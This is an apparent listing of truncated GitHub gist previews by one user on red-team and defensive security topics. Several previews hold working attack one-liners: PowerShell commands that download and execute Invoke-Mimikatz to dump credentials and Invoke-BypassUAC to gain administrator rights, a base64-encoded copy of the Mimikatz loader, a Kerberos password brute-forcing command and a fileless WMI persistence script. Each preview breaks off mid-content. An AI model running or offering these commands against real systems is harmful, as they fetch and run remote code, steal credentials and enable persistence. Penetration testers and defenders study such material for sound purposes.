jessefmoore

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz [local]
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m

#encoded-mimikatz [local]
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8ARQBtAHAAaQByAGUAUAByAG8AagBlAGMAdAAvAEUAbQBwAGkAcgBlAC8ANwBhADMAOQBhADUANQBmADEAMgA3AGIAMQBhAGUAYgA5ADUAMQBiADMAZAA5AGQAOAAwAGMANgBkAGMANgA0ADUAMAAwAGMAYQBjAGIANQAvAGQAYQB0AGEALwBtAG8AZAB1AGwAZQBfAHMAbwB1AHIAYwBlAC8AYwByAGUAZABlAG4AdABpAGEAbABzAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAiACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAa

jessefmoore

This is an in-progress quick start install guide for NPK on Ubuntu 18.

From a new Ubuntu 18 box, install the essentials:

apt install unzip -y
apt install python3-pip -y
apt install jq -y
apt install npm -y
pip3 install awscli --upgrade —-user

jessefmoore

Intro

This document pools several awesome tools and blog entries together (see "Resources" at the end of this doc) in an attempt to automate the process of getting an initial foothold on a network in a situation where you have no valid credentials.

Download and install ntlmrelay

Ok, so one weird thing I'm trying to figure out is if I install ntlmrelay as the first tool we'll use, these steps seem to work ok:

git clone https://github.com/CoreSecurity/impacket.git /opt/impacket
cd /opt/impacket
pip install .

jessefmoore

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

jessefmoore

# Fileless WMI Persistence (PSEDWMIEvent_SU - SystemUptime)
# https://wikileaks.org/ciav7p1/cms/page_14587908.html

<#
.SYNOPSIS
This script creates a persisted WMI event that executes a command upon trigger of the system's uptime being between a given range in seconds.  The event will trigger only once.  
#>

$EventFilterName = "Fileless WMI Persistence SystemUptime"

jessefmoore

How to go from (almost) zero to viewing a graph of events with LogonTracer

The Readme for the LogonTracer project is missing a couple of steps so I'm jotting down all the kinks. I'm glossing over installing Debian into a VM.

There is little thought for security in this setup, all actions are taken as root user, if using in production you'll probably need to 'sudo' a few places.

My Setup

I set this up in about 30 minutes using a VM in VMware workstation. I was able to connect to the Logontracer webpage from my host OS.

jessefmoore

RDP Eavesdropping and Hijacking
*******************************
I spent some time this evening looking at ways to eavesdrop and hijack RDP sessions.  Here is a gist of (semi) interesting findings
that is not very new...

===========
Inspiration
===========
As you may already know...

jessefmoore

# IMPORTANT!
# This gist has been transformed into a github repo 
# You can find the most recent version there:
# https://github.com/Neo23x0/auditd

#      ___             ___ __      __
#     /   | __  ______/ (_) /_____/ /
#    / /| |/ / / / __  / / __/ __  / 
#   / ___ / /_/ / /_/ / / /_/ /_/ /  
#  /_/  |_\__,_/\__,_/_/\__/\__,_/   

jessefmoore

     _  _____ ___  __  __ ___ ____   ____  _____ ____    _____ _____    _    __  __
    / \|_   _/ _ \|  \/  |_ _/ ___| |  _ \| ____|  _ \  |_   _| ____|  / \  |  \/  |
   / _ \ | || | | | |\/| || | |     | |_) |  _| | | | |   | | |  _|   / _ \ | |\/| |
  / ___ \| || |_| | |  | || | |___  |  _ <| |___| |_| |   | | | |___ / ___ \| |  | |
 /_/   \_\_| \___/|_|  |_|___\____| |_| \_\_____|____/    |_| |_____/_/   \_\_|  |_|



[********BEGIN TEST*******] Data Compressed T1002 has 3 Test(s)

jessefmoore

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands